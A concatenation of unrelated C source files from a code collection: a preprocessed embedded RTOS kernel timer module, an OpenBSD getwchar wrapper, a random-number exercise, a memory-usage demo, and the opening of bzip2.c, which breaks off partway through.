const name_t *task_name;
void *user_info[2];
cpu_stack_t *task_stack_base;
uint32_t stack_size;
klist_t task_list;
suspend_nested_t suspend_count;
struct mutex_s *mutex_list;
klist_t task_stats_item;
klist_t tick_list;
tick_t tick_match;
tick_t tick_remain;
klist_t *tick_head;
void *msg;
size_t bq_msg_size;
task_stat_t task_state;
blk_state_t blk_state;
blk_obj_t *blk_obj;
struct sem_s *task_sem_obj;
uint32_t time_slice;
uint32_t time_total;
uint32_t pend_flags;
void *pend_info;
uint8_t pend_option;
uint8_t sched_policy;
uint8_t cpu_num;
uint8_t prio;
uint8_t b_prio;
uint8_t mm_alloc_flag;
} ktask_t;
typedef void (*task_entry_t)(void *arg);
kstat_t krhino_task_create(ktask_t *task, const name_t *name, void *arg,
uint8_t prio, tick_t ticks, cpu_stack_t *stack_buf,
size_t stack_size, task_entry_t entry, uint8_t autorun);
kstat_t krhino_task_dyn_create(ktask_t **task, const name_t *name, void *arg,
uint8_t pri,
tick_t ticks, size_t stack,
task_entry_t entry, uint8_t autorun);
kstat_t krhino_task_del(ktask_t *task);
kstat_t krhino_task_dyn_del(ktask_t *task);
kstat_t krhino_task_sleep(tick_t dly);
kstat_t krhino_task_yield(void);
ktask_t *krhino_cur_task_get(void);
kstat_t krhino_task_suspend(ktask_t *task);
kstat_t krhino_task_resume(ktask_t *task);
kstat_t krhino_task_stack_min_free(ktask_t *task, size_t *free);
kstat_t krhino_task_stack_cur_free(ktask_t *task, size_t *free);
kstat_t krhino_task_pri_change(ktask_t *task, uint8_t pri, uint8_t *old_pri);
kstat_t krhino_task_wait_abort(ktask_t *task);
kstat_t krhino_task_time_slice_set(ktask_t *task, size_t slice);
kstat_t krhino_sched_policy_set(ktask_t *task, uint8_t policy);
kstat_t krhino_sched_policy_get(ktask_t *task, uint8_t *policy);
kstat_t krhino_task_info_set(ktask_t *task, size_t idx, void *info);
kstat_t krhino_task_info_get(ktask_t *task, size_t idx, void **info);
void krhino_task_deathbed(void);
typedef struct {
uint8_t *buf;
uint8_t *end;
uint8_t *head;
uint8_t *tail;
size_t freesize;
size_t type;
size_t blk_size;
} k_ringbuf_t;
typedef struct {
void **queue_start;
size_t size;
size_t cur_num;
size_t peak_num;
} msg_q_t;
typedef struct {
msg_q_t msg_q;
klist_t *pend_entry;
} msg_info_t;
typedef struct queue_s {
blk_obj_t blk_obj;
k_ringbuf_t ringbuf;
msg_q_t msg_q;
klist_t queue_item;
uint8_t mm_alloc_flag;
} kqueue_t;
kstat_t krhino_queue_create(kqueue_t *queue, const name_t *name, void **start,
size_t msg_num);
kstat_t krhino_queue_del(kqueue_t *queue);
kstat_t krhino_queue_dyn_create(kqueue_t **queue, const name_t *name,
size_t msg_num);
kstat_t krhino_queue_dyn_del(kqueue_t *queue);
kstat_t krhino_queue_back_send(kqueue_t *queue, void *msg);
kstat_t krhino_queue_all_send(kqueue_t *queue, void *msg);
kstat_t krhino_queue_recv(kqueue_t *queue, tick_t ticks, void **msg);
kstat_t krhino_queue_is_full(kqueue_t *queue);
kstat_t krhino_queue_flush(kqueue_t *queue);
kstat_t krhino_queue_info_get(kqueue_t *queue, msg_info_t *info);
typedef struct {
blk_obj_t blk_obj;
void *buf;
k_ringbuf_t ringbuf;
size_t max_msg_size;
size_t cur_num;
size_t peak_num;
size_t min_free_buf_size;
klist_t buf_queue_item;
uint8_t mm_alloc_flag;
} kbuf_queue_t;
typedef struct {
size_t buf_size;
size_t max_msg_size;
size_t cur_num;
size_t peak_num;
size_t free_buf_size;
size_t min_free_buf_size;
} kbuf_queue_info_t;
kstat_t krhino_buf_queue_create(kbuf_queue_t *queue, const name_t *name,
void *buf,
size_t size, size_t max_msg);
kstat_t krhino_fix_buf_queue_create(kbuf_queue_t *queue, const name_t *name,
void *buf, size_t msg_size, size_t msg_num);
kstat_t krhino_buf_queue_del(kbuf_queue_t *queue);
kstat_t krhino_buf_queue_dyn_create(kbuf_queue_t **queue, const name_t *name,
size_t size, size_t max_msg);
kstat_t krhino_buf_queue_dyn_del(kbuf_queue_t *queue);
kstat_t krhino_buf_queue_send(kbuf_queue_t *queue, void *msg, size_t size);
kstat_t krhino_buf_queue_recv(kbuf_queue_t *queue, tick_t ticks, void *msg,
size_t *size);
kstat_t krhino_buf_queue_flush(kbuf_queue_t *queue);
kstat_t krhino_buf_queue_info_get(kbuf_queue_t *queue, kbuf_queue_info_t *info);
typedef struct sem_s {
blk_obj_t blk_obj;
sem_count_t count;
sem_count_t peak_count;
klist_t sem_item;
uint8_t mm_alloc_flag;
} ksem_t;
kstat_t krhino_sem_create(ksem_t *sem, const name_t *name, sem_count_t count);
kstat_t krhino_sem_del(ksem_t *sem);
kstat_t krhino_sem_dyn_create(ksem_t **sem, const name_t *name,
sem_count_t count);
kstat_t krhino_sem_dyn_del(ksem_t *sem);
kstat_t krhino_sem_give(ksem_t *sem);
kstat_t krhino_sem_give_all(ksem_t *sem);
kstat_t krhino_sem_take(ksem_t *sem, tick_t ticks);
kstat_t krhino_sem_count_set(ksem_t *sem, sem_count_t count);
kstat_t krhino_sem_count_get(ksem_t *sem, sem_count_t *count);
kstat_t krhino_task_sem_create(ktask_t *task, ksem_t *sem, const name_t *name,
size_t count);
kstat_t krhino_task_sem_del(ktask_t *task);
kstat_t krhino_task_sem_give(ktask_t *task);
kstat_t krhino_task_sem_take(tick_t ticks);
kstat_t krhino_task_sem_count_set(ktask_t *task, sem_count_t count);
kstat_t krhino_task_sem_count_get(ktask_t *task, sem_count_t *count);
typedef struct mutex_s {
blk_obj_t blk_obj;
ktask_t *mutex_task;
struct mutex_s *mutex_list;
mutex_nested_t owner_nested;
klist_t mutex_item;
uint8_t mm_alloc_flag;
} kmutex_t;
kstat_t krhino_mutex_create(kmutex_t *mutex, const name_t *name);
kstat_t krhino_mutex_del(kmutex_t *mutex);
kstat_t krhino_mutex_dyn_create(kmutex_t **mutex, const name_t *name);
kstat_t krhino_mutex_dyn_del(kmutex_t *mutex);
kstat_t krhino_mutex_lock(kmutex_t *mutex, tick_t ticks);
kstat_t krhino_mutex_unlock(kmutex_t *mutex);
enum {
TIMER_CMD_CB = 0u,
TIMER_CMD_START,
TIMER_CMD_STOP,
TIMER_CMD_CHG,
TIMER_ARG_CHG,
TIMER_ARG_CHG_AUTO,
TIMER_CMD_DEL,
TIMER_CMD_DYN_DEL
};
typedef void (*timer_cb_t)(void *timer, void *arg);
typedef struct {
klist_t timer_list;
klist_t *to_head;
const name_t *name;
timer_cb_t cb;
void *timer_cb_arg;
sys_time_t match;
sys_time_t remain;
sys_time_t init_count;
sys_time_t round_ticks;
void *priv;
kobj_type_t obj_type;
uint8_t timer_state;
uint8_t mm_alloc_flag;
} ktimer_t;
typedef struct {
ktimer_t *timer;
uint8_t cb_num;
sys_time_t first;
union {
sys_time_t round;
void *arg;
} u;
} k_timer_queue_cb;
typedef enum {
TIMER_DEACTIVE = 0u,
TIMER_ACTIVE
} k_timer_state_t;
kstat_t krhino_timer_create(ktimer_t *timer, const name_t *name, timer_cb_t cb,
sys_time_t first, sys_time_t round, void *arg, uint8_t auto_run);
kstat_t krhino_timer_del(ktimer_t *timer);
kstat_t krhino_timer_dyn_create(ktimer_t **timer, const name_t *name,
timer_cb_t cb,
sys_time_t first, sys_time_t round, void *arg, uint8_t auto_run);
kstat_t krhino_timer_dyn_del(ktimer_t *timer);
kstat_t krhino_timer_start(ktimer_t *timer);
kstat_t krhino_timer_stop(ktimer_t *timer);
kstat_t krhino_timer_change(ktimer_t *timer, sys_time_t first, sys_time_t round);
kstat_t krhino_timer_arg_change_auto(ktimer_t *timer, void *arg);
kstat_t krhino_timer_arg_change(ktimer_t *timer, void *arg);
void krhino_tick_proc(void);
sys_time_t krhino_sys_time_get(void);
sys_time_t krhino_sys_tick_get(void);
tick_t krhino_ms_to_ticks(sys_time_t ms);
sys_time_t krhino_ticks_to_ms(tick_t ticks);
typedef struct {
blk_obj_t blk_obj;
uint32_t flags;
klist_t event_item;
uint8_t mm_alloc_flag;
} kevent_t;
kstat_t krhino_event_create(kevent_t *event, const name_t *name, uint32_t flags);
kstat_t krhino_event_del(kevent_t *event);
kstat_t krhino_event_dyn_create(kevent_t **event, const name_t *name,
uint32_t flags);
kstat_t krhino_event_dyn_del(kevent_t *event);
kstat_t krhino_event_get(kevent_t *event, uint32_t flags, uint8_t opt,
uint32_t *actl_flags, tick_t ticks);
kstat_t krhino_event_set(kevent_t *event, uint32_t flags, uint8_t opt);
void kobj_list_init(void);
void krhino_stack_ovf_check(void);
typedef struct {
const name_t *pool_name;
void *pool_end;
void *pool_start;
size_t blk_size;
size_t blk_avail;
size_t blk_whole;
uint8_t *avail_list;
kspinlock_t blk_lock;
klist_t mblkpool_stats_item;
} mblk_pool_t;
kstat_t krhino_mblk_pool_init(mblk_pool_t *pool, const name_t *name,
void *pool_start,
size_t blk_size, size_t pool_size);
kstat_t krhino_mblk_alloc(mblk_pool_t *pool, void **blk);
kstat_t krhino_mblk_free(mblk_pool_t *pool, void *blk);
typedef struct {
uint8_t *start;
size_t len;
} k_mm_region_t;
typedef struct free_ptr_struct {
struct k_mm_list_struct *prev;
struct k_mm_list_struct *next;
} free_ptr_t;
typedef struct k_mm_list_struct {
struct k_mm_list_struct *prev;
size_t buf_size;
union {
struct free_ptr_struct free_ptr;
uint8_t buffer[1];
} mbinfo;
} k_mm_list_t;
typedef struct k_mm_region_info_struct {
k_mm_list_t *end;
struct k_mm_region_info_struct *next;
} k_mm_region_info_t;
typedef struct {
kspinlock_t mm_lock;
k_mm_region_info_t *regioninfo;
void *fix_pool;
size_t used_size;
size_t maxused_size;
size_t free_size;
size_t alloc_times[(19 - 6 + 2)];
uint32_t free_bitmap;
k_mm_list_t *freelist[(19 - 6 + 2)];
} k_mm_head;
kstat_t krhino_init_mm_head(k_mm_head **ppmmhead, void *addr, size_t len );
kstat_t krhino_deinit_mm_head(k_mm_head *mmhead);
kstat_t krhino_add_mm_region(k_mm_head *mmhead, void *addr, size_t len);
void *k_mm_alloc(k_mm_head *mmhead, size_t size);
void k_mm_free(k_mm_head *mmhead, void *ptr);
void *k_mm_realloc(k_mm_head *mmhead, void *oldmem, size_t new_size);
void *krhino_mm_alloc(size_t size);
void krhino_mm_free(void *ptr);
void *krhino_mm_realloc(void *oldmem, size_t newsize);
typedef void (*work_handle_t)(void *arg);
typedef struct {
klist_t work_node;
work_handle_t handle;
void *arg;
tick_t dly;
ktimer_t *timer;
void *wq;
uint8_t work_exit;
} kwork_t;
typedef struct {
klist_t workqueue_node;
klist_t work_list;
kwork_t *work_current;
const name_t *name;
ktask_t worker;
ksem_t sem;
} kworkqueue_t;
kstat_t krhino_workqueue_create(kworkqueue_t *workqueue, const name_t *name,
uint8_t pri, cpu_stack_t *stack_buf, size_t stack_size);
kstat_t krhino_work_init(kwork_t *work, work_handle_t handle, void *arg,
tick_t dly);
kstat_t krhino_work_run(kworkqueue_t *workqueue, kwork_t *work);
kstat_t krhino_work_sched(kwork_t *work);
kstat_t krhino_work_cancel(kwork_t *work);
extern kstat_t g_sys_stat;
extern uint8_t g_idle_task_spawned[1];
extern runqueue_t g_ready_queue;
extern uint8_t g_sched_lock[1];
extern uint8_t g_intrpt_nested_level[1];
extern ktask_t *g_preferred_ready_task[1];
extern ktask_t *g_active_task[1];
extern ktask_t g_idle_task[1];
extern idle_count_t g_idle_count[1];
extern cpu_stack_t g_idle_task_stack[1][200];
extern tick_t g_tick_count;
extern klist_t g_tick_head;
extern kobj_list_t g_kobj_list;
extern klist_t g_timer_head;
extern sys_time_t g_timer_count;
extern ktask_t g_timer_task;
extern cpu_stack_t g_timer_task_stack[300];
extern kbuf_queue_t g_timer_queue;
extern k_timer_queue_cb timer_queue_cb[20];
extern ksem_t g_res_sem;
extern klist_t g_res_list;
extern ktask_t g_dyn_task;
extern cpu_stack_t g_dyn_task_stack[256];
extern klist_t g_workqueue_list_head;
extern kmutex_t g_workqueue_mutex;
extern kworkqueue_t g_workqueue_default;
extern cpu_stack_t g_workqueue_stack[768];
extern k_mm_head *g_kmm_head;
typedef struct {
size_t cnt;
void *res[4];
klist_t res_list;
} res_free_t;
ktask_t *preferred_cpu_ready_task_get(runqueue_t *rq, uint8_t cpu_num);
void core_sched(void);
void runqueue_init(runqueue_t *rq);
void ready_list_add(runqueue_t *rq, ktask_t *task);
void ready_list_add_head(runqueue_t *rq, ktask_t *task);
void ready_list_add_tail(runqueue_t *rq, ktask_t *task);
void ready_list_rm(runqueue_t *rq, ktask_t *task);
void ready_list_head_to_tail(runqueue_t *rq, ktask_t *task);
void time_slice_update(void);
void timer_task_sched(void);
void pend_list_reorder(ktask_t *task);
void pend_task_wakeup(ktask_t *task);
void pend_to_blk_obj(blk_obj_t *blk_obj, ktask_t *task, tick_t timeout);
void pend_task_rm(ktask_t *task);
kstat_t pend_state_end_proc(ktask_t *task);
void idle_task(void *p_arg);
void idle_count_set(idle_count_t value);
idle_count_t idle_count_get(void);
void tick_list_init(void);
void tick_task_start(void);
void tick_list_rm(ktask_t *task);
void tick_list_insert(ktask_t *task, tick_t time);
void tick_list_update(tick_i_t ticks);
uint8_t mutex_pri_limit(ktask_t *tcb, uint8_t pri);
void mutex_task_pri_reset(ktask_t *tcb);
uint8_t mutex_pri_look(ktask_t *tcb, kmutex_t *mutex_rel);
kstat_t task_pri_change(ktask_t *task, uint8_t new_pri);
void k_err_proc(kstat_t err);
void ktimer_init(void);
void intrpt_disable_measure_start(void);
void intrpt_disable_measure_stop(void);
void dyn_mem_proc_task_start(void);
void cpu_usage_stats_start(void);
kstat_t ringbuf_init(k_ringbuf_t *p_ringbuf, void *buf, size_t len, size_t type,
size_t block_size);
kstat_t ringbuf_reset(k_ringbuf_t *p_ringbuf);
kstat_t ringbuf_push(k_ringbuf_t *p_ringbuf, void *data, size_t len);
kstat_t ringbuf_head_push(k_ringbuf_t *p_ringbuf, void *data, size_t len);
kstat_t ringbuf_pop(k_ringbuf_t *p_ringbuf, void *pdata, size_t *plen);
uint8_t ringbuf_is_full(k_ringbuf_t *p_ringbuf);
uint8_t ringbuf_is_empty(k_ringbuf_t *p_ringbuf);
void workqueue_init(void);
void k_mm_init(void);
void soc_err_proc(kstat_t err);
size_t soc_get_cur_sp(void);
size_t cpu_intrpt_save(void);
void cpu_intrpt_restore(size_t cpsr);
void cpu_intrpt_switch(void);
void cpu_task_switch(void);
void cpu_first_task_start(void);
void *cpu_task_stack_init(cpu_stack_t *base, size_t size, void *arg, task_entry_t entry);
static inline uint8_t cpu_cur_get(void)
{
return 0;
}
static void timer_list_pri_insert(klist_t *head, ktimer_t *timer)
{
sys_time_t val;
klist_t *q;
klist_t *start;
klist_t *end;
ktimer_t *task_iter_temp;
start = end = head;
val = timer->remain;
for (q = start->next; q != end; q = q->next) {
task_iter_temp = ((ktimer_t *)((uint8_t *)(q) - (size_t)(&((ktimer_t *)0)->timer_list)));
if ((task_iter_temp->match - g_timer_count) > val) {
break;
}
}
klist_insert(q, &timer->timer_list);
}
static void timer_list_rm(ktimer_t *timer)
{
klist_t *head;
head = timer->to_head;
if (head !=
((void *)0)
) {
klist_rm(&timer->timer_list);
timer->to_head =
((void *)0)
;
}
}
static kstat_t timer_create(ktimer_t *timer, const name_t *name, timer_cb_t cb,
sys_time_t first, sys_time_t round, void *arg, uint8_t auto_run,
uint8_t mm_alloc_flag)
{
kstat_t err = RHINO_SUCCESS;
do { if (timer ==
((void *)0)
) { return RHINO_NULL_PTR; } } while (0);
do { if (name ==
((void *)0)
) { return RHINO_NULL_PTR; } } while (0);
do { if (cb ==
((void *)0)
) { return RHINO_NULL_PTR; } } while (0);
if (first == 0u) {
return RHINO_INV_PARAM;
}
if (first >= ((tick_t)-1 >> 1)) {
return RHINO_INV_PARAM;
}
if (round >= ((tick_t)-1 >> 1)) {
return RHINO_INV_PARAM;
}
timer->name = name;
timer->cb = cb;
timer->init_count = first;
timer->round_ticks = round;
timer->remain = 0u;
timer->match = 0u;
timer->timer_state = TIMER_DEACTIVE;
timer->to_head =
((void *)0)
;
timer->mm_alloc_flag = mm_alloc_flag;
timer->timer_cb_arg = arg;
klist_init(&timer->timer_list);
timer->obj_type = RHINO_TIMER_OBJ_TYPE;
if (auto_run > 0u) {
err = krhino_timer_start(timer);
}
;
return err;
}
kstat_t krhino_timer_create(ktimer_t *timer, const name_t *name, timer_cb_t cb,
sys_time_t first, sys_time_t round, void *arg, uint8_t auto_run)
{
return timer_create(timer, name, cb, first, round, arg, auto_run,
1u);
}
kstat_t krhino_timer_del(ktimer_t *timer)
{
k_timer_queue_cb cb;
kstat_t err;
do { if (timer ==
((void *)0)
) { return RHINO_NULL_PTR; } } while (0);
cb.timer = timer;
cb.cb_num = TIMER_CMD_DEL;
err = krhino_buf_queue_send(&g_timer_queue, &cb, sizeof(k_timer_queue_cb));
return err;
}
kstat_t krhino_timer_dyn_create(ktimer_t **timer, const name_t *name,
timer_cb_t cb,
sys_time_t first, sys_time_t round, void *arg, uint8_t auto_run)
{
kstat_t ret;
ktimer_t *timer_obj;
do { if (timer ==
((void *)0)
) { return RHINO_NULL_PTR; } } while (0);
timer_obj = krhino_mm_alloc(sizeof(ktimer_t));
if (timer_obj ==
((void *)0)
) {
return RHINO_NO_MEM;
}
ret = timer_create(timer_obj, name, cb, first, round, arg, auto_run,
2u);
if (ret != RHINO_SUCCESS) {
krhino_mm_free(timer_obj);
return ret;
}
*timer = timer_obj;
return ret;
}
kstat_t krhino_timer_dyn_del(ktimer_t *timer)
{
k_timer_queue_cb cb;
kstat_t err;
do { if (timer ==
((void *)0)
) { return RHINO_NULL_PTR; } } while (0);
cb.timer = timer;
cb.cb_num = TIMER_CMD_DYN_DEL;
err = krhino_buf_queue_send(&g_timer_queue, &cb, sizeof(k_timer_queue_cb));
return err;
}
kstat_t krhino_timer_start(ktimer_t *timer)
{
k_timer_queue_cb cb;
kstat_t err;
do { if (timer ==
((void *)0)
) { return RHINO_NULL_PTR; } } while (0);
cb.timer = timer;
cb.cb_num = TIMER_CMD_START;
err = krhino_buf_queue_send(&g_timer_queue, &cb, sizeof(k_timer_queue_cb));
return err;
}
kstat_t krhino_timer_stop(ktimer_t *timer)
{
k_timer_queue_cb cb;
kstat_t err;
do { if (timer ==
((void *)0)
) { return RHINO_NULL_PTR; } } while (0);
cb.timer = timer;
cb.cb_num = TIMER_CMD_STOP;
err = krhino_buf_queue_send(&g_timer_queue, &cb, sizeof(k_timer_queue_cb));
return err;
}
kstat_t krhino_timer_change(ktimer_t *timer, sys_time_t first, sys_time_t round)
{
k_timer_queue_cb cb;
kstat_t err;
do { if (timer ==
((void *)0)
) { return RHINO_NULL_PTR; } } while (0);
if (first == 0u) {
return RHINO_INV_PARAM;
}
if (first >= ((tick_t)-1 >> 1)) {
return RHINO_INV_PARAM;
}
if (round >= ((tick_t)-1 >> 1)) {
return RHINO_INV_PARAM;
}
cb.timer = timer;
cb.first = first;
cb.u.round = round;
cb.cb_num = TIMER_CMD_CHG;
err = krhino_buf_queue_send(&g_timer_queue, &cb, sizeof(k_timer_queue_cb));
return err;
}
kstat_t krhino_timer_arg_change(ktimer_t *timer, void *arg)
{
k_timer_queue_cb cb;
kstat_t err;
do { if (timer ==
((void *)0)
) { return RHINO_NULL_PTR; } } while (0);
cb.timer = timer;
cb.u.arg = arg;
cb.cb_num = TIMER_ARG_CHG;
err = krhino_buf_queue_send(&g_timer_queue, &cb, sizeof(k_timer_queue_cb));
return err;
}
kstat_t krhino_timer_arg_change_auto(ktimer_t *timer, void *arg)
{
k_timer_queue_cb cb;
kstat_t err;
do { if (timer ==
((void *)0)
) { return RHINO_NULL_PTR; } } while (0);
cb.timer = timer;
cb.u.arg = arg;
cb.cb_num = TIMER_ARG_CHG_AUTO;
err = krhino_buf_queue_send(&g_timer_queue, &cb, sizeof(k_timer_queue_cb));
return err;
}
static void timer_cb_proc(void)
{
klist_t *q;
klist_t *start;
klist_t *end;
ktimer_t *timer;
sys_time_i_t delta;
start = end = &g_timer_head;
for (q = start->next; q != end; q = q->next) {
timer = ((ktimer_t *)((uint8_t *)(q) - (size_t)(&((ktimer_t *)0)->timer_list)));
delta = (sys_time_i_t)timer->match - (sys_time_i_t)g_timer_count;
if (delta <= 0) {
timer->cb(timer, timer->timer_cb_arg);
timer_list_rm(timer);
if (timer->round_ticks > 0u) {
timer->remain = timer->round_ticks;
timer->match = g_timer_count + timer->remain;
timer->to_head = &g_timer_head;
timer_list_pri_insert(&g_timer_head, timer);
} else {
timer->timer_state = TIMER_DEACTIVE;
}
}
else {
break;
}
}
}
static void cmd_proc(k_timer_queue_cb *cb, uint8_t cmd)
{
ktimer_t *timer;
timer = cb->timer;
switch (cmd) {
case TIMER_CMD_START:
if (timer->obj_type != RHINO_TIMER_OBJ_TYPE) {
break;
}
if (timer->timer_state == TIMER_ACTIVE) {
break;
}
timer->match = g_timer_count + timer->init_count;
timer->remain = timer->init_count;
timer->to_head = &g_timer_head;
timer_list_pri_insert(&g_timer_head, timer);
timer->timer_state = TIMER_ACTIVE;
break;
case TIMER_CMD_STOP:
if (timer->obj_type != RHINO_TIMER_OBJ_TYPE) {
break;
}
if (timer->timer_state == TIMER_DEACTIVE) {
break;
}
timer_list_rm(timer);
timer->timer_state = TIMER_DEACTIVE;
break;
case TIMER_CMD_CHG:
if (cb->first == 0u) {
break;
}
if (timer->obj_type != RHINO_TIMER_OBJ_TYPE) {
break;
}
if (timer->timer_state != TIMER_DEACTIVE) {
break;
}
timer->init_count = cb->first;
timer->round_ticks = cb->u.round;
break;
case TIMER_ARG_CHG:
if (timer->obj_type != RHINO_TIMER_OBJ_TYPE) {
break;
}
if (timer->timer_state != TIMER_DEACTIVE) {
break;
}
timer->timer_cb_arg = cb->u.arg;
break;
case TIMER_CMD_DEL:
if (timer->obj_type != RHINO_TIMER_OBJ_TYPE) {
break;
}
if (timer->timer_state != TIMER_DEACTIVE) {
break;
}
if (timer->mm_alloc_flag != 1u) {
break;
}
timer->obj_type = RHINO_OBJ_TYPE_NONE;
;
break;
case TIMER_CMD_DYN_DEL:
if (timer->obj_type != RHINO_TIMER_OBJ_TYPE) {
break;
}
if (timer->timer_state != TIMER_DEACTIVE) {
break;
}
if (timer->mm_alloc_flag != 2u) {
break;
}
timer->obj_type = RHINO_OBJ_TYPE_NONE;
;
krhino_mm_free(timer);
break;
default:
k_err_proc(RHINO_SYS_FATAL_ERR);
break;
}
}
static void timer_cmd_proc(k_timer_queue_cb *cb)
{
if (cb->cb_num == TIMER_ARG_CHG_AUTO) {
cmd_proc(cb, TIMER_CMD_STOP);
cmd_proc(cb, TIMER_ARG_CHG);
cmd_proc(cb, TIMER_CMD_START);
}
else {
cmd_proc(cb, cb->cb_num);
}
}
static void timer_task(void *pa)
{
ktimer_t *timer;
k_timer_queue_cb cb_msg;
kstat_t err;
sys_time_t tick_start;
sys_time_t tick_end;
sys_time_i_t delta;
size_t msg_size;
(void)pa;
while (1u) {
err = krhino_buf_queue_recv(&g_timer_queue, ((uint64_t)-1), &cb_msg, &msg_size);
tick_end = krhino_sys_tick_get();
if (err == RHINO_SUCCESS) {
g_timer_count = tick_end;
}
else {
k_err_proc(RHINO_SYS_FATAL_ERR);
}
timer_cmd_proc(&cb_msg);
while (!is_klist_empty(&g_timer_head)) {
timer = ((ktimer_t *)((uint8_t *)(g_timer_head.next) - (size_t)(&((ktimer_t *)0)->timer_list)));
tick_start = krhino_sys_tick_get();
delta = (sys_time_i_t)timer->match - (sys_time_i_t)tick_start;
if (delta > 0) {
err = krhino_buf_queue_recv(&g_timer_queue, (tick_t)delta, &cb_msg, &msg_size);
tick_end = krhino_sys_tick_get();
if (err == RHINO_BLK_TIMEOUT) {
g_timer_count = tick_end;
}
else if (err == RHINO_SUCCESS) {
g_timer_count = tick_end;
timer_cmd_proc(&cb_msg);
}
else {
k_err_proc(RHINO_SYS_FATAL_ERR);
}
}
else {
g_timer_count = tick_start;
}
timer_cb_proc();
}
}
}
void ktimer_init(void)
{
klist_init(&g_timer_head);
krhino_fix_buf_queue_create(&g_timer_queue, "timer_queue",
timer_queue_cb, sizeof(k_timer_queue_cb), 20);
krhino_task_create(&g_timer_task, "timer_task",
((void *)0)
,
5, 0u, g_timer_task_stack,
300, timer_task, 1u);
}
|
the_stack_data/118009.c
|
/* $OpenBSD: getwchar.c,v 1.1 2005/06/17 20:40:32 espie Exp $ */
/* $NetBSD: getwchar.c,v 1.2 2003/01/18 11:29:55 thorpej Exp $ */
/*-
* Copyright (c)2001 Citrus Project,
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $Citrus$
*/
#include <stdio.h>
#include <wchar.h>
/*
* A subroutine version of the macro getwchar.
*/
#undef getwchar
wint_t
getwchar()
{
return fgetwc(stdin);
}
|
the_stack_data/1167050.c
|
/*
Write a program that enters 3 integers n, min and max(min≤ max) and prints
n random numbers in the range [min...max].
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void checkIntInput(int *, int *, int *);
int main()
{
int nums, min, max, randNum;
time_t t;
srand((unsigned)time(&t));
printf("Enter numbers, min and max: ");
checkIntInput(&nums, &min, &max);
int i;
for (i = 0; i < nums; i++)
{
randNum = (rand() % (max + 1 - min) + min);
printf("%d\n", randNum);
}
return (EXIT_SUCCESS);
}
void checkIntInput(int *a, int *b, int *c)
{
if ((scanf("%d %d %d", a, b, c)) != 3)
{
printf("Not digit!");
exit(EXIT_FAILURE);
}
}
|
the_stack_data/153267232.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <time.h>
#define MB10 (10 * 1000 * 1000)
int main(int argc, char const* argv[]) {
size_t i = 0;
struct rusage usage;
for (i = 0; i < 10; ++i) {
void* mem = malloc(MB10);
memset(mem, 0, MB10);
getrusage(RUSAGE_SELF, &usage);
printf("ru_maxrss: %ld\n", usage.ru_maxrss);
sleep(1);
}
return 0;
}
|
the_stack_data/449794.c
|
/*-----------------------------------------------------------*/
/*--- A block-sorting, lossless compressor bzip2.c ---*/
/*-----------------------------------------------------------*/
/* ------------------------------------------------------------------
This file is part of bzip2/libbzip2, a program and library for
lossless, block-sorting data compression.
bzip2/libbzip2 version 1.0.8 of 13 July 2019
Copyright (C) 1996-2019 Julian Seward <[email protected]>
Please read the WARNING, DISCLAIMER and PATENTS sections in the
README file.
This program is released under the terms of the license contained
in the file LICENSE.
------------------------------------------------------------------ */
/* Place a 1 beside your platform, and 0 elsewhere.
Generic 32-bit Unix.
Also works on 64-bit Unix boxes.
This is the default.
*/
#define BZ_UNIX 1
/*--
Win32, as seen by Jacob Navia's excellent
port of (Chris Fraser & David Hanson)'s excellent
lcc compiler. Or with MS Visual C.
This is selected automatically if compiled by a compiler which
defines _WIN32, not including the Cygwin GCC.
--*/
#define BZ_LCCWIN32 0
#if defined(_WIN32) && !defined(__CYGWIN__)
#undef BZ_LCCWIN32
#define BZ_LCCWIN32 1
#undef BZ_UNIX
#define BZ_UNIX 0
#endif
/*---------------------------------------------*/
/*--
Some stuff for all platforms.
--*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <math.h>
#include <errno.h>
#include <ctype.h>
#include "bzlib.h"
#define ERROR_IF_EOF(i) { if ((i) == EOF) ioError(); }
#define ERROR_IF_NOT_ZERO(i) { if ((i) != 0) ioError(); }
#define ERROR_IF_MINUS_ONE(i) { if ((i) == (-1)) ioError(); }
/*---------------------------------------------*/
/*--
Platform-specific stuff.
--*/
#if BZ_UNIX
# include <fcntl.h>
# include <sys/types.h>
# include <utime.h>
# include <unistd.h>
# include <sys/stat.h>
# include <sys/times.h>
# define PATH_SEP '/'
# define MY_LSTAT lstat
# define MY_STAT stat
# define MY_S_ISREG S_ISREG
# define MY_S_ISDIR S_ISDIR
# define APPEND_FILESPEC(root, name) \
root=snocString((root), (name))
# define APPEND_FLAG(root, name) \
root=snocString((root), (name))
# define SET_BINARY_MODE(fd) /**/
# ifdef __GNUC__
# define NORETURN __attribute__ ((noreturn))
# else
# define NORETURN /**/
# endif
# ifdef __DJGPP__
# include <io.h>
# include <fcntl.h>
# undef MY_LSTAT
# undef MY_STAT
# define MY_LSTAT stat
# define MY_STAT stat
# undef SET_BINARY_MODE
# define SET_BINARY_MODE(fd) \
do { \
int retVal = setmode ( fileno ( fd ), \
O_BINARY ); \
ERROR_IF_MINUS_ONE ( retVal ); \
} while ( 0 )
# endif
